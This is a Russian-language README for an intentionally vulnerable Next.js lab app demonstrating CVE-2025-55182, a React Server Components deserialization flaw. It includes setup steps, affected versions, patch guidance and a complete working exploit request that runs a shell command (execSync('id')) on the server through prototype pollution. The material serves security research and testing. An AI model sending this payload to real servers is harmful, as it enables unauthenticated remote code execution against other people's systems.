Next.js CVE-2025-55182 Доказательство концепции

Это proof-of-concept приложение Next.js, уязвимое к CVE-2025-55182 (также известной как "React2Shell"), критической уязвимости удаленного выполнения кода (RCE) в React Server Components.

⚠️ ПРЕДУПРЕЖДЕНИЕ

Это приложение намеренно уязвимо и должно использоваться ТОЛЬКО для:

Исследований в области безопасности
Образовательных целей
Тестирования в изолированных средах

НЕ ДЕЛАЙТЕ:

Развертывание в production
Подключение к ненадежным сетям
Использование с конфиденциальными данными

Сведения об уязвимости

CVE-2025-55182 затрагивает:

React версии с 19.0.0 по 19.2.0
Next.js версий 15.x и 16.x (с использованием App Router)
Приложения, использующие React Server Components (RSC)

Уязвимость возникает из-за небезопасной десериализации в обработке полезной нагрузки React Server Components, что позволяет неаутентифицированным злоумышленникам выполнять произвольный код на сервере через специально созданные HTTP-запросы.

Инструкции по настройке

Вариант 1: Локальная разработка

Установите зависимости:
```
npm install
```
Запустите сервер разработки:
```
npm run dev
```
Откройте приложение: Откройте http://localhost:3000 в вашем браузере.

Вариант 2: Docker

Соберите Docker-образ:
```
docker build -t nextjs-cve-2025-55182 .
```
Запустите контейнер:
```
docker run --rm -p 3000:3000 nextjs-cve-2025-55182
```
Откройте приложение: Откройте http://localhost:3000 в вашем браузере.

Структура приложения

Страница входа (/): Простая форма входа с использованием React Server Components
Панель управления (/dashboard): Защищенная страница, доступная после входа

Уязвимые компоненты

Это приложение использует:

Next.js 15.1.0 (уязвимая версия)
React 19.0.0 (уязвимая версия)
App Router с React Server Components (RSC)
Базовая структура create-next-app

Уязвимость существует в механизме десериализации полезной нагрузки RSC, который может быть использован путем отправки вредоносных multipart HTTP-запросов напрямую к маршрутам страниц (например, http://localhost:3000 или http://localhost:3000/dashboard). Эксплойт работает на любой странице, использующей React Server Components.

Эксплуатация

Уязвимость может быть использована путем отправки специально созданных HTTP-запросов напрямую к маршрутам страниц (например, http://localhost:3000 или http://localhost:3000/dashboard). Эксплойт работает на любой странице, использующей React Server Components.

Пример эксплойта

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Эксплойт нацелен напрямую на маршруты страниц — работает на localhost:3000 (главная страница) или localhost:3000/dashboard (страница панели управления).

Устранение

Чтобы исправить эту уязвимость:

Обновите React до версии 19.0.1, 19.1.2 или 19.2.1+
Обновите Next.js до исправленной версии (15.0.5+ или 16.x с патчами)

Ссылки

CVE-2025-55182
Уведомление о безопасности React
Уведомление о безопасности Next.js

Лицензия

Данное доказательство концепции предоставляется только для образовательных целей и исследований в области безопасности.

NextJS-app-CVE-2025-55182

Популярное